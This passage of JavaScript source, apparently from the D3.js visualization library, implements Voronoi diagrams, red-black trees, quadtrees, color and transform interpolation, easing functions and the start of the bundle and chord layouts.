function d3_geom_voronoiConnectEdge(edge, extent) {
var vb = edge.b;
if (vb) return true;
var va = edge.a, x0 = extent[0][0], x1 = extent[1][0], y0 = extent[0][1], y1 = extent[1][1], lSite = edge.l, rSite = edge.r, lx = lSite.x, ly = lSite.y, rx = rSite.x, ry = rSite.y, fx = (lx + rx) / 2, fy = (ly + ry) / 2, fm, fb;
if (ry === ly) {
if (fx < x0 || fx >= x1) return;
if (lx > rx) {
if (!va) va = {
x: fx,
y: y0
}; else if (va.y >= y1) return;
vb = {
x: fx,
y: y1
};
} else {
if (!va) va = {
x: fx,
y: y1
}; else if (va.y < y0) return;
vb = {
x: fx,
y: y0
};
}
} else {
fm = (lx - rx) / (ry - ly);
fb = fy - fm * fx;
if (fm < -1 || fm > 1) {
if (lx > rx) {
if (!va) va = {
x: (y0 - fb) / fm,
y: y0
}; else if (va.y >= y1) return;
vb = {
x: (y1 - fb) / fm,
y: y1
};
} else {
if (!va) va = {
x: (y1 - fb) / fm,
y: y1
}; else if (va.y < y0) return;
vb = {
x: (y0 - fb) / fm,
y: y0
};
}
} else {
if (ly < ry) {
if (!va) va = {
x: x0,
y: fm * x0 + fb
}; else if (va.x >= x1) return;
vb = {
x: x1,
y: fm * x1 + fb
};
} else {
if (!va) va = {
x: x1,
y: fm * x1 + fb
}; else if (va.x < x0) return;
vb = {
x: x0,
y: fm * x0 + fb
};
}
}
}
edge.a = va;
edge.b = vb;
return true;
}
function d3_geom_voronoiEdge(lSite, rSite) {
this.l = lSite;
this.r = rSite;
this.a = this.b = null;
}
function d3_geom_voronoiCreateEdge(lSite, rSite, va, vb) {
var edge = new d3_geom_voronoiEdge(lSite, rSite);
d3_geom_voronoiEdges.push(edge);
if (va) d3_geom_voronoiSetEdgeEnd(edge, lSite, rSite, va);
if (vb) d3_geom_voronoiSetEdgeEnd(edge, rSite, lSite, vb);
d3_geom_voronoiCells[lSite.i].edges.push(new d3_geom_voronoiHalfEdge(edge, lSite, rSite));
d3_geom_voronoiCells[rSite.i].edges.push(new d3_geom_voronoiHalfEdge(edge, rSite, lSite));
return edge;
}
function d3_geom_voronoiCreateBorderEdge(lSite, va, vb) {
var edge = new d3_geom_voronoiEdge(lSite, null);
edge.a = va;
edge.b = vb;
d3_geom_voronoiEdges.push(edge);
return edge;
}
function d3_geom_voronoiSetEdgeEnd(edge, lSite, rSite, vertex) {
if (!edge.a && !edge.b) {
edge.a = vertex;
edge.l = lSite;
edge.r = rSite;
} else if (edge.l === rSite) {
edge.b = vertex;
} else {
edge.a = vertex;
}
}
function d3_geom_voronoiHalfEdge(edge, lSite, rSite) {
var va = edge.a, vb = edge.b;
this.edge = edge;
this.site = lSite;
this.angle = rSite ? Math.atan2(rSite.y - lSite.y, rSite.x - lSite.x) : edge.l === lSite ? Math.atan2(vb.x - va.x, va.y - vb.y) : Math.atan2(va.x - vb.x, vb.y - va.y);
}
d3_geom_voronoiHalfEdge.prototype = {
start: function() {
return this.edge.l === this.site ? this.edge.a : this.edge.b;
},
end: function() {
return this.edge.l === this.site ? this.edge.b : this.edge.a;
}
};
function d3_geom_voronoiRedBlackTree() {
this._ = null;
}
function d3_geom_voronoiRedBlackNode(node) {
node.U = node.C = node.L = node.R = node.P = node.N = null;
}
d3_geom_voronoiRedBlackTree.prototype = {
insert: function(after, node) {
var parent, grandpa, uncle;
if (after) {
node.P = after;
node.N = after.N;
if (after.N) after.N.P = node;
after.N = node;
if (after.R) {
after = after.R;
while (after.L) after = after.L;
after.L = node;
} else {
after.R = node;
}
parent = after;
} else if (this._) {
after = d3_geom_voronoiRedBlackFirst(this._);
node.P = null;
node.N = after;
after.P = after.L = node;
parent = after;
} else {
node.P = node.N = null;
this._ = node;
parent = null;
}
node.L = node.R = null;
node.U = parent;
node.C = true;
after = node;
while (parent && parent.C) {
grandpa = parent.U;
if (parent === grandpa.L) {
uncle = grandpa.R;
if (uncle && uncle.C) {
parent.C = uncle.C = false;
grandpa.C = true;
after = grandpa;
} else {
if (after === parent.R) {
d3_geom_voronoiRedBlackRotateLeft(this, parent);
after = parent;
parent = after.U;
}
parent.C = false;
grandpa.C = true;
d3_geom_voronoiRedBlackRotateRight(this, grandpa);
}
} else {
uncle = grandpa.L;
if (uncle && uncle.C) {
parent.C = uncle.C = false;
grandpa.C = true;
after = grandpa;
} else {
if (after === parent.L) {
d3_geom_voronoiRedBlackRotateRight(this, parent);
after = parent;
parent = after.U;
}
parent.C = false;
grandpa.C = true;
d3_geom_voronoiRedBlackRotateLeft(this, grandpa);
}
}
parent = after.U;
}
this._.C = false;
},
remove: function(node) {
if (node.N) node.N.P = node.P;
if (node.P) node.P.N = node.N;
node.N = node.P = null;
var parent = node.U, sibling, left = node.L, right = node.R, next, red;
if (!left) next = right; else if (!right) next = left; else next = d3_geom_voronoiRedBlackFirst(right);
if (parent) {
if (parent.L === node) parent.L = next; else parent.R = next;
} else {
this._ = next;
}
if (left && right) {
red = next.C;
next.C = node.C;
next.L = left;
left.U = next;
if (next !== right) {
parent = next.U;
next.U = node.U;
node = next.R;
parent.L = node;
next.R = right;
right.U = next;
} else {
next.U = parent;
parent = next;
node = next.R;
}
} else {
red = node.C;
node = next;
}
if (node) node.U = parent;
if (red) return;
if (node && node.C) {
node.C = false;
return;
}
do {
if (node === this._) break;
if (node === parent.L) {
sibling = parent.R;
if (sibling.C) {
sibling.C = false;
parent.C = true;
d3_geom_voronoiRedBlackRotateLeft(this, parent);
sibling = parent.R;
}
if (sibling.L && sibling.L.C || sibling.R && sibling.R.C) {
if (!sibling.R || !sibling.R.C) {
sibling.L.C = false;
sibling.C = true;
d3_geom_voronoiRedBlackRotateRight(this, sibling);
sibling = parent.R;
}
sibling.C = parent.C;
parent.C = sibling.R.C = false;
d3_geom_voronoiRedBlackRotateLeft(this, parent);
node = this._;
break;
}
} else {
sibling = parent.L;
if (sibling.C) {
sibling.C = false;
parent.C = true;
d3_geom_voronoiRedBlackRotateRight(this, parent);
sibling = parent.L;
}
if (sibling.L && sibling.L.C || sibling.R && sibling.R.C) {
if (!sibling.L || !sibling.L.C) {
sibling.R.C = false;
sibling.C = true;
d3_geom_voronoiRedBlackRotateLeft(this, sibling);
sibling = parent.L;
}
sibling.C = parent.C;
parent.C = sibling.L.C = false;
d3_geom_voronoiRedBlackRotateRight(this, parent);
node = this._;
break;
}
}
sibling.C = true;
node = parent;
parent = parent.U;
} while (!node.C);
if (node) node.C = false;
}
};
function d3_geom_voronoiRedBlackRotateLeft(tree, node) {
var p = node, q = node.R, parent = p.U;
if (parent) {
if (parent.L === p) parent.L = q; else parent.R = q;
} else {
tree._ = q;
}
q.U = parent;
p.U = q;
p.R = q.L;
if (p.R) p.R.U = p;
q.L = p;
}
function d3_geom_voronoiRedBlackRotateRight(tree, node) {
var p = node, q = node.L, parent = p.U;
if (parent) {
if (parent.L === p) parent.L = q; else parent.R = q;
} else {
tree._ = q;
}
q.U = parent;
p.U = q;
p.L = q.R;
if (p.L) p.L.U = p;
q.R = p;
}
function d3_geom_voronoiRedBlackFirst(node) {
while (node.L) node = node.L;
return node;
}
function d3_geom_voronoi(sites, bbox) {
var site = sites.sort(d3_geom_voronoiVertexOrder).pop(), x0, y0, circle;
d3_geom_voronoiEdges = [];
d3_geom_voronoiCells = new Array(sites.length);
d3_geom_voronoiBeaches = new d3_geom_voronoiRedBlackTree();
d3_geom_voronoiCircles = new d3_geom_voronoiRedBlackTree();
while (true) {
circle = d3_geom_voronoiFirstCircle;
if (site && (!circle || site.y < circle.y || site.y === circle.y && site.x < circle.x)) {
if (site.x !== x0 || site.y !== y0) {
d3_geom_voronoiCells[site.i] = new d3_geom_voronoiCell(site);
d3_geom_voronoiAddBeach(site);
x0 = site.x, y0 = site.y;
}
site = sites.pop();
} else if (circle) {
d3_geom_voronoiRemoveBeach(circle.arc);
} else {
break;
}
}
if (bbox) d3_geom_voronoiClipEdges(bbox), d3_geom_voronoiCloseCells(bbox);
var diagram = {
cells: d3_geom_voronoiCells,
edges: d3_geom_voronoiEdges
};
d3_geom_voronoiBeaches = d3_geom_voronoiCircles = d3_geom_voronoiEdges = d3_geom_voronoiCells = null;
return diagram;
}
function d3_geom_voronoiVertexOrder(a, b) {
return b.y - a.y || b.x - a.x;
}
d3.geom.voronoi = function(points) {
var x = d3_geom_pointX, y = d3_geom_pointY, fx = x, fy = y, clipExtent = d3_geom_voronoiClipExtent;
if (points) return voronoi(points);
function voronoi(data) {
var polygons = new Array(data.length), x0 = clipExtent[0][0], y0 = clipExtent[0][1], x1 = clipExtent[1][0], y1 = clipExtent[1][1];
d3_geom_voronoi(sites(data), clipExtent).cells.forEach(function(cell, i) {
var edges = cell.edges, site = cell.site, polygon = polygons[i] = edges.length ? edges.map(function(e) {
var s = e.start();
return [ s.x, s.y ];
}) : site.x >= x0 && site.x <= x1 && site.y >= y0 && site.y <= y1 ? [ [ x0, y1 ], [ x1, y1 ], [ x1, y0 ], [ x0, y0 ] ] : [];
polygon.point = data[i];
});
return polygons;
}
function sites(data) {
return data.map(function(d, i) {
return {
x: Math.round(fx(d, i) / ε) * ε,
y: Math.round(fy(d, i) / ε) * ε,
i: i
};
});
}
voronoi.links = function(data) {
return d3_geom_voronoi(sites(data)).edges.filter(function(edge) {
return edge.l && edge.r;
}).map(function(edge) {
return {
source: data[edge.l.i],
target: data[edge.r.i]
};
});
};
voronoi.triangles = function(data) {
var triangles = [];
d3_geom_voronoi(sites(data)).cells.forEach(function(cell, i) {
var site = cell.site, edges = cell.edges.sort(d3_geom_voronoiHalfEdgeOrder), j = -1, m = edges.length, e0, s0, e1 = edges[m - 1].edge, s1 = e1.l === site ? e1.r : e1.l;
while (++j < m) {
e0 = e1;
s0 = s1;
e1 = edges[j].edge;
s1 = e1.l === site ? e1.r : e1.l;
if (i < s0.i && i < s1.i && d3_geom_voronoiTriangleArea(site, s0, s1) < 0) {
triangles.push([ data[i], data[s0.i], data[s1.i] ]);
}
}
});
return triangles;
};
voronoi.x = function(_) {
return arguments.length ? (fx = d3_functor(x = _), voronoi) : x;
};
voronoi.y = function(_) {
return arguments.length ? (fy = d3_functor(y = _), voronoi) : y;
};
voronoi.clipExtent = function(_) {
if (!arguments.length) return clipExtent === d3_geom_voronoiClipExtent ? null : clipExtent;
clipExtent = _ == null ? d3_geom_voronoiClipExtent : _;
return voronoi;
};
voronoi.size = function(_) {
if (!arguments.length) return clipExtent === d3_geom_voronoiClipExtent ? null : clipExtent && clipExtent[1];
return voronoi.clipExtent(_ && [ [ 0, 0 ], _ ]);
};
return voronoi;
};
var d3_geom_voronoiClipExtent = [ [ -1e6, -1e6 ], [ 1e6, 1e6 ] ];
function d3_geom_voronoiTriangleArea(a, b, c) {
return (a.x - c.x) * (b.y - a.y) - (a.x - b.x) * (c.y - a.y);
}
d3.geom.delaunay = function(vertices) {
return d3.geom.voronoi().triangles(vertices);
};
d3.geom.quadtree = function(points, x1, y1, x2, y2) {
var x = d3_geom_pointX, y = d3_geom_pointY, compat;
if (compat = arguments.length) {
x = d3_geom_quadtreeCompatX;
y = d3_geom_quadtreeCompatY;
if (compat === 3) {
y2 = y1;
x2 = x1;
y1 = x1 = 0;
}
return quadtree(points);
}
function quadtree(data) {
var d, fx = d3_functor(x), fy = d3_functor(y), xs, ys, i, n, x1_, y1_, x2_, y2_;
if (x1 != null) {
x1_ = x1, y1_ = y1, x2_ = x2, y2_ = y2;
} else {
x2_ = y2_ = -(x1_ = y1_ = Infinity);
xs = [], ys = [];
n = data.length;
if (compat) for (i = 0; i < n; ++i) {
d = data[i];
if (d.x < x1_) x1_ = d.x;
if (d.y < y1_) y1_ = d.y;
if (d.x > x2_) x2_ = d.x;
if (d.y > y2_) y2_ = d.y;
xs.push(d.x);
ys.push(d.y);
} else for (i = 0; i < n; ++i) {
var x_ = +fx(d = data[i], i), y_ = +fy(d, i);
if (x_ < x1_) x1_ = x_;
if (y_ < y1_) y1_ = y_;
if (x_ > x2_) x2_ = x_;
if (y_ > y2_) y2_ = y_;
xs.push(x_);
ys.push(y_);
}
}
var dx = x2_ - x1_, dy = y2_ - y1_;
if (dx > dy) y2_ = y1_ + dx; else x2_ = x1_ + dy;
function insert(n, d, x, y, x1, y1, x2, y2) {
if (isNaN(x) || isNaN(y)) return;
if (n.leaf) {
var nx = n.x, ny = n.y;
if (nx != null) {
if (abs(nx - x) + abs(ny - y) < .01) {
insertChild(n, d, x, y, x1, y1, x2, y2);
} else {
var nPoint = n.point;
n.x = n.y = n.point = null;
insertChild(n, nPoint, nx, ny, x1, y1, x2, y2);
insertChild(n, d, x, y, x1, y1, x2, y2);
}
} else {
n.x = x, n.y = y, n.point = d;
}
} else {
insertChild(n, d, x, y, x1, y1, x2, y2);
}
}
function insertChild(n, d, x, y, x1, y1, x2, y2) {
var xm = (x1 + x2) * .5, ym = (y1 + y2) * .5, right = x >= xm, below = y >= ym, i = below << 1 | right;
n.leaf = false;
n = n.nodes[i] || (n.nodes[i] = d3_geom_quadtreeNode());
if (right) x1 = xm; else x2 = xm;
if (below) y1 = ym; else y2 = ym;
insert(n, d, x, y, x1, y1, x2, y2);
}
var root = d3_geom_quadtreeNode();
root.add = function(d) {
insert(root, d, +fx(d, ++i), +fy(d, i), x1_, y1_, x2_, y2_);
};
root.visit = function(f) {
d3_geom_quadtreeVisit(f, root, x1_, y1_, x2_, y2_);
};
root.find = function(point) {
return d3_geom_quadtreeFind(root, point[0], point[1], x1_, y1_, x2_, y2_);
};
i = -1;
if (x1 == null) {
while (++i < n) {
insert(root, data[i], xs[i], ys[i], x1_, y1_, x2_, y2_);
}
--i;
} else data.forEach(root.add);
xs = ys = data = d = null;
return root;
}
quadtree.x = function(_) {
return arguments.length ? (x = _, quadtree) : x;
};
quadtree.y = function(_) {
return arguments.length ? (y = _, quadtree) : y;
};
quadtree.extent = function(_) {
if (!arguments.length) return x1 == null ? null : [ [ x1, y1 ], [ x2, y2 ] ];
if (_ == null) x1 = y1 = x2 = y2 = null; else x1 = +_[0][0], y1 = +_[0][1], x2 = +_[1][0],
y2 = +_[1][1];
return quadtree;
};
quadtree.size = function(_) {
if (!arguments.length) return x1 == null ? null : [ x2 - x1, y2 - y1 ];
if (_ == null) x1 = y1 = x2 = y2 = null; else x1 = y1 = 0, x2 = +_[0], y2 = +_[1];
return quadtree;
};
return quadtree;
};
function d3_geom_quadtreeCompatX(d) {
return d.x;
}
function d3_geom_quadtreeCompatY(d) {
return d.y;
}
function d3_geom_quadtreeNode() {
return {
leaf: true,
nodes: [],
point: null,
x: null,
y: null
};
}
function d3_geom_quadtreeVisit(f, node, x1, y1, x2, y2) {
if (!f(node, x1, y1, x2, y2)) {
var sx = (x1 + x2) * .5, sy = (y1 + y2) * .5, children = node.nodes;
if (children[0]) d3_geom_quadtreeVisit(f, children[0], x1, y1, sx, sy);
if (children[1]) d3_geom_quadtreeVisit(f, children[1], sx, y1, x2, sy);
if (children[2]) d3_geom_quadtreeVisit(f, children[2], x1, sy, sx, y2);
if (children[3]) d3_geom_quadtreeVisit(f, children[3], sx, sy, x2, y2);
}
}
function d3_geom_quadtreeFind(root, x, y, x0, y0, x3, y3) {
var minDistance2 = Infinity, closestPoint;
(function find(node, x1, y1, x2, y2) {
if (x1 > x3 || y1 > y3 || x2 < x0 || y2 < y0) return;
if (point = node.point) {
var point, dx = x - node.x, dy = y - node.y, distance2 = dx * dx + dy * dy;
if (distance2 < minDistance2) {
var distance = Math.sqrt(minDistance2 = distance2);
x0 = x - distance, y0 = y - distance;
x3 = x + distance, y3 = y + distance;
closestPoint = point;
}
}
var children = node.nodes, xm = (x1 + x2) * .5, ym = (y1 + y2) * .5, right = x >= xm, below = y >= ym;
for (var i = below << 1 | right, j = i + 4; i < j; ++i) {
if (node = children[i & 3]) switch (i & 3) {
case 0:
find(node, x1, y1, xm, ym);
break;
case 1:
find(node, xm, y1, x2, ym);
break;
case 2:
find(node, x1, ym, xm, y2);
break;
case 3:
find(node, xm, ym, x2, y2);
break;
}
}
})(root, x0, y0, x3, y3);
return closestPoint;
}
d3.interpolateRgb = d3_interpolateRgb;
function d3_interpolateRgb(a, b) {
a = d3.rgb(a);
b = d3.rgb(b);
var ar = a.r, ag = a.g, ab = a.b, br = b.r - ar, bg = b.g - ag, bb = b.b - ab;
return function(t) {
return "#" + d3_rgb_hex(Math.round(ar + br * t)) + d3_rgb_hex(Math.round(ag + bg * t)) + d3_rgb_hex(Math.round(ab + bb * t));
};
}
d3.interpolateObject = d3_interpolateObject;
function d3_interpolateObject(a, b) {
var i = {}, c = {}, k;
for (k in a) {
if (k in b) {
i[k] = d3_interpolate(a[k], b[k]);
} else {
c[k] = a[k];
}
}
for (k in b) {
if (!(k in a)) {
c[k] = b[k];
}
}
return function(t) {
for (k in i) c[k] = i[k](t);
return c;
};
}
d3.interpolateNumber = d3_interpolateNumber;
function d3_interpolateNumber(a, b) {
a = +a, b = +b;
return function(t) {
return a * (1 - t) + b * t;
};
}
d3.interpolateString = d3_interpolateString;
function d3_interpolateString(a, b) {
var bi = d3_interpolate_numberA.lastIndex = d3_interpolate_numberB.lastIndex = 0, am, bm, bs, i = -1, s = [], q = [];
a = a + "", b = b + "";
while ((am = d3_interpolate_numberA.exec(a)) && (bm = d3_interpolate_numberB.exec(b))) {
if ((bs = bm.index) > bi) {
bs = b.slice(bi, bs);
if (s[i]) s[i] += bs; else s[++i] = bs;
}
if ((am = am[0]) === (bm = bm[0])) {
if (s[i]) s[i] += bm; else s[++i] = bm;
} else {
s[++i] = null;
q.push({
i: i,
x: d3_interpolateNumber(am, bm)
});
}
bi = d3_interpolate_numberB.lastIndex;
}
if (bi < b.length) {
bs = b.slice(bi);
if (s[i]) s[i] += bs; else s[++i] = bs;
}
return s.length < 2 ? q[0] ? (b = q[0].x, function(t) {
return b(t) + "";
}) : function() {
return b;
} : (b = q.length, function(t) {
for (var i = 0, o; i < b; ++i) s[(o = q[i]).i] = o.x(t);
return s.join("");
});
}
var d3_interpolate_numberA = /[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g, d3_interpolate_numberB = new RegExp(d3_interpolate_numberA.source, "g");
d3.interpolate = d3_interpolate;
function d3_interpolate(a, b) {
var i = d3.interpolators.length, f;
while (--i >= 0 && !(f = d3.interpolators[i](a, b))) ;
return f;
}
d3.interpolators = [ function(a, b) {
var t = typeof b;
return (t === "string" ? d3_rgb_names.has(b.toLowerCase()) || /^(#|rgb\(|hsl\()/i.test(b) ? d3_interpolateRgb : d3_interpolateString : b instanceof d3_color ? d3_interpolateRgb : Array.isArray(b) ? d3_interpolateArray : t === "object" && isNaN(b) ? d3_interpolateObject : d3_interpolateNumber)(a, b);
} ];
d3.interpolateArray = d3_interpolateArray;
function d3_interpolateArray(a, b) {
var x = [], c = [], na = a.length, nb = b.length, n0 = Math.min(a.length, b.length), i;
for (i = 0; i < n0; ++i) x.push(d3_interpolate(a[i], b[i]));
for (;i < na; ++i) c[i] = a[i];
for (;i < nb; ++i) c[i] = b[i];
return function(t) {
for (i = 0; i < n0; ++i) c[i] = x[i](t);
return c;
};
}
var d3_ease_default = function() {
return d3_identity;
};
var d3_ease = d3.map({
linear: d3_ease_default,
poly: d3_ease_poly,
quad: function() {
return d3_ease_quad;
},
cubic: function() {
return d3_ease_cubic;
},
sin: function() {
return d3_ease_sin;
},
exp: function() {
return d3_ease_exp;
},
circle: function() {
return d3_ease_circle;
},
elastic: d3_ease_elastic,
back: d3_ease_back,
bounce: function() {
return d3_ease_bounce;
}
});
var d3_ease_mode = d3.map({
"in": d3_identity,
out: d3_ease_reverse,
"in-out": d3_ease_reflect,
"out-in": function(f) {
return d3_ease_reflect(d3_ease_reverse(f));
}
});
d3.ease = function(name) {
var i = name.indexOf("-"), t = i >= 0 ? name.slice(0, i) : name, m = i >= 0 ? name.slice(i + 1) : "in";
t = d3_ease.get(t) || d3_ease_default;
m = d3_ease_mode.get(m) || d3_identity;
return d3_ease_clamp(m(t.apply(null, d3_arraySlice.call(arguments, 1))));
};
function d3_ease_clamp(f) {
return function(t) {
return t <= 0 ? 0 : t >= 1 ? 1 : f(t);
};
}
function d3_ease_reverse(f) {
return function(t) {
return 1 - f(1 - t);
};
}
function d3_ease_reflect(f) {
return function(t) {
return .5 * (t < .5 ? f(2 * t) : 2 - f(2 - 2 * t));
};
}
function d3_ease_quad(t) {
return t * t;
}
function d3_ease_cubic(t) {
return t * t * t;
}
function d3_ease_cubicInOut(t) {
if (t <= 0) return 0;
if (t >= 1) return 1;
var t2 = t * t, t3 = t2 * t;
return 4 * (t < .5 ? t3 : 3 * (t - t2) + t3 - .75);
}
function d3_ease_poly(e) {
return function(t) {
return Math.pow(t, e);
};
}
function d3_ease_sin(t) {
return 1 - Math.cos(t * halfπ);
}
function d3_ease_exp(t) {
return Math.pow(2, 10 * (t - 1));
}
function d3_ease_circle(t) {
return 1 - Math.sqrt(1 - t * t);
}
function d3_ease_elastic(a, p) {
var s;
if (arguments.length < 2) p = .45;
if (arguments.length) s = p / τ * Math.asin(1 / a); else a = 1, s = p / 4;
return function(t) {
return 1 + a * Math.pow(2, -10 * t) * Math.sin((t - s) * τ / p);
};
}
function d3_ease_back(s) {
if (!s) s = 1.70158;
return function(t) {
return t * t * ((s + 1) * t - s);
};
}
function d3_ease_bounce(t) {
return t < 1 / 2.75 ? 7.5625 * t * t : t < 2 / 2.75 ? 7.5625 * (t -= 1.5 / 2.75) * t + .75 : t < 2.5 / 2.75 ? 7.5625 * (t -= 2.25 / 2.75) * t + .9375 : 7.5625 * (t -= 2.625 / 2.75) * t + .984375;
}
d3.interpolateHcl = d3_interpolateHcl;
function d3_interpolateHcl(a, b) {
a = d3.hcl(a);
b = d3.hcl(b);
var ah = a.h, ac = a.c, al = a.l, bh = b.h - ah, bc = b.c - ac, bl = b.l - al;
if (isNaN(bc)) bc = 0, ac = isNaN(ac) ? b.c : ac;
if (isNaN(bh)) bh = 0, ah = isNaN(ah) ? b.h : ah; else if (bh > 180) bh -= 360; else if (bh < -180) bh += 360;
return function(t) {
return d3_hcl_lab(ah + bh * t, ac + bc * t, al + bl * t) + "";
};
}
d3.interpolateHsl = d3_interpolateHsl;
function d3_interpolateHsl(a, b) {
a = d3.hsl(a);
b = d3.hsl(b);
var ah = a.h, as = a.s, al = a.l, bh = b.h - ah, bs = b.s - as, bl = b.l - al;
if (isNaN(bs)) bs = 0, as = isNaN(as) ? b.s : as;
if (isNaN(bh)) bh = 0, ah = isNaN(ah) ? b.h : ah; else if (bh > 180) bh -= 360; else if (bh < -180) bh += 360;
return function(t) {
return d3_hsl_rgb(ah + bh * t, as + bs * t, al + bl * t) + "";
};
}
d3.interpolateLab = d3_interpolateLab;
function d3_interpolateLab(a, b) {
a = d3.lab(a);
b = d3.lab(b);
var al = a.l, aa = a.a, ab = a.b, bl = b.l - al, ba = b.a - aa, bb = b.b - ab;
return function(t) {
return d3_lab_rgb(al + bl * t, aa + ba * t, ab + bb * t) + "";
};
}
d3.interpolateRound = d3_interpolateRound;
function d3_interpolateRound(a, b) {
b -= a;
return function(t) {
return Math.round(a + b * t);
};
}
d3.transform = function(string) {
var g = d3_document.createElementNS(d3.ns.prefix.svg, "g");
return (d3.transform = function(string) {
if (string != null) {
g.setAttribute("transform", string);
var t = g.transform.baseVal.consolidate();
}
return new d3_transform(t ? t.matrix : d3_transformIdentity);
})(string);
};
function d3_transform(m) {
var r0 = [ m.a, m.b ], r1 = [ m.c, m.d ], kx = d3_transformNormalize(r0), kz = d3_transformDot(r0, r1), ky = d3_transformNormalize(d3_transformCombine(r1, r0, -kz)) || 0;
if (r0[0] * r1[1] < r1[0] * r0[1]) {
r0[0] *= -1;
r0[1] *= -1;
kx *= -1;
kz *= -1;
}
this.rotate = (kx ? Math.atan2(r0[1], r0[0]) : Math.atan2(-r1[0], r1[1])) * d3_degrees;
this.translate = [ m.e, m.f ];
this.scale = [ kx, ky ];
this.skew = ky ? Math.atan2(kz, ky) * d3_degrees : 0;
}
d3_transform.prototype.toString = function() {
return "translate(" + this.translate + ")rotate(" + this.rotate + ")skewX(" + this.skew + ")scale(" + this.scale + ")";
};
function d3_transformDot(a, b) {
return a[0] * b[0] + a[1] * b[1];
}
function d3_transformNormalize(a) {
var k = Math.sqrt(d3_transformDot(a, a));
if (k) {
a[0] /= k;
a[1] /= k;
}
return k;
}
function d3_transformCombine(a, b, k) {
a[0] += k * b[0];
a[1] += k * b[1];
return a;
}
var d3_transformIdentity = {
a: 1,
b: 0,
c: 0,
d: 1,
e: 0,
f: 0
};
d3.interpolateTransform = d3_interpolateTransform;
function d3_interpolateTransformPop(s) {
return s.length ? s.pop() + "," : "";
}
function d3_interpolateTranslate(ta, tb, s, q) {
if (ta[0] !== tb[0] || ta[1] !== tb[1]) {
var i = s.push("translate(", null, ",", null, ")");
q.push({
i: i - 4,
x: d3_interpolateNumber(ta[0], tb[0])
}, {
i: i - 2,
x: d3_interpolateNumber(ta[1], tb[1])
});
} else if (tb[0] || tb[1]) {
s.push("translate(" + tb + ")");
}
}
function d3_interpolateRotate(ra, rb, s, q) {
if (ra !== rb) {
if (ra - rb > 180) rb += 360; else if (rb - ra > 180) ra += 360;
q.push({
i: s.push(d3_interpolateTransformPop(s) + "rotate(", null, ")") - 2,
x: d3_interpolateNumber(ra, rb)
});
} else if (rb) {
s.push(d3_interpolateTransformPop(s) + "rotate(" + rb + ")");
}
}
function d3_interpolateSkew(wa, wb, s, q) {
if (wa !== wb) {
q.push({
i: s.push(d3_interpolateTransformPop(s) + "skewX(", null, ")") - 2,
x: d3_interpolateNumber(wa, wb)
});
} else if (wb) {
s.push(d3_interpolateTransformPop(s) + "skewX(" + wb + ")");
}
}
function d3_interpolateScale(ka, kb, s, q) {
if (ka[0] !== kb[0] || ka[1] !== kb[1]) {
var i = s.push(d3_interpolateTransformPop(s) + "scale(", null, ",", null, ")");
q.push({
i: i - 4,
x: d3_interpolateNumber(ka[0], kb[0])
}, {
i: i - 2,
x: d3_interpolateNumber(ka[1], kb[1])
});
} else if (kb[0] !== 1 || kb[1] !== 1) {
s.push(d3_interpolateTransformPop(s) + "scale(" + kb + ")");
}
}
function d3_interpolateTransform(a, b) {
var s = [], q = [];
a = d3.transform(a), b = d3.transform(b);
d3_interpolateTranslate(a.translate, b.translate, s, q);
d3_interpolateRotate(a.rotate, b.rotate, s, q);
d3_interpolateSkew(a.skew, b.skew, s, q);
d3_interpolateScale(a.scale, b.scale, s, q);
a = b = null;
return function(t) {
var i = -1, n = q.length, o;
while (++i < n) s[(o = q[i]).i] = o.x(t);
return s.join("");
};
}
function d3_uninterpolateNumber(a, b) {
b = (b -= a = +a) || 1 / b;
return function(x) {
return (x - a) / b;
};
}
function d3_uninterpolateClamp(a, b) {
b = (b -= a = +a) || 1 / b;
return function(x) {
return Math.max(0, Math.min(1, (x - a) / b));
};
}
d3.layout = {};
d3.layout.bundle = function() {
return function(links) {
var paths = [], i = -1, n = links.length;
while (++i < n) paths.push(d3_layout_bundlePath(links[i]));
return paths;
};
};
function d3_layout_bundlePath(link) {
var start = link.source, end = link.target, lca = d3_layout_bundleLeastCommonAncestor(start, end), points = [ start ];
while (start !== lca) {
start = start.parent;
points.push(start);
}
var k = points.length;
while (end !== lca) {
points.splice(k, 0, end);
end = end.parent;
}
return points;
}
function d3_layout_bundleAncestors(node) {
var ancestors = [], parent = node.parent;
while (parent != null) {
ancestors.push(node);
node = parent;
parent = parent.parent;
}
ancestors.push(node);
return ancestors;
}
function d3_layout_bundleLeastCommonAncestor(a, b) {
if (a === b) return a;
var aNodes = d3_layout_bundleAncestors(a), bNodes = d3_layout_bundleAncestors(b), aNode = aNodes.pop(), bNode = bNodes.pop(), sharedNode = null;
while (aNode === bNode) {
sharedNode = aNode;
aNode = aNodes.pop();
bNode = bNodes.pop();
}
return sharedNode;
}
d3.layout.chord = function() {
var chord = {}, chords, groups, matrix, n, padding = 0, sortGroups, sortSubgroups, sortChords;
function relayout() {
var subgroups = {}, groupSums = [], groupIndex = d3.range(n), subgroupIndex = [], k, x, x0, i, j;
chords = [];
groups = [];
k = 0, i = -1;
while (++i < n) {
x = 0, j = -1;
while (++j < n) {
x += matrix[i][j];
}
groupSums.push(x);
subgroupIndex.push(d3.range(n));
k += x;
}
if (sortGroups) {
groupIndex.sort(function(a, b) {
return sortGroups(groupSums[a], groupSums[b]);
});
}
if (sortSubgroups) {
subgroupIndex.forEach(function(d, i) {
d.sort(function(a, b) {
return sortSubgroups(matrix[i][a], matrix[i][b]);
});
});
}
k = (τ - padding * n) / k;
x = 0, i = -1;
while (++i < n) {
x0 = x, j = -1;
while (++j < n) {
var di = groupIndex[i], dj = subgroupIndex[di][j], v = matrix[di][dj], a0 = x, a1 = x += v * k;
subgroups[di + "-" + dj] = {
index: di,
subindex: dj,
startAngle: a0,
endAngle: a1,
value: v
};
}
groups[di] = {
index: di,
startAngle: x0,
endAngle: x,
value: groupSums[di]
};
x += padding;
}
i = -1;
while (++i < n) {
j = i - 1;
while (++j < n) {
var source = subgroups[i + "-" + j], target = subgroups[j + "-" + i];
if (source.value || target.value) {
chords.push(source.value < target.value ? {
source: target,
target: source
} : {
source: source,
target: target
});
}
}
}
if (sortChords) resort();
}
function resort() {
chords.sort(function(a, b) {
return sortChords((a.source.value + a.target.value) / 2, (b.source.value + b.target.value) / 2);
});
}
chord.matrix = function(x) {
if (!arguments.length) return matrix;
n = (matrix = x) && matrix.length;
chords = groups = null;
return chord;
};
chord.padding = function(x) {
if (!arguments.length) return padding;
padding = x;
chords = groups = null;
return chord;
};
chord.sortGroups = function(x) {
if (!arguments.length) return sortGroups;
sortGroups = x;
chords = groups = null;
return chord;
};
chord.sortSubgroups = function(x) {
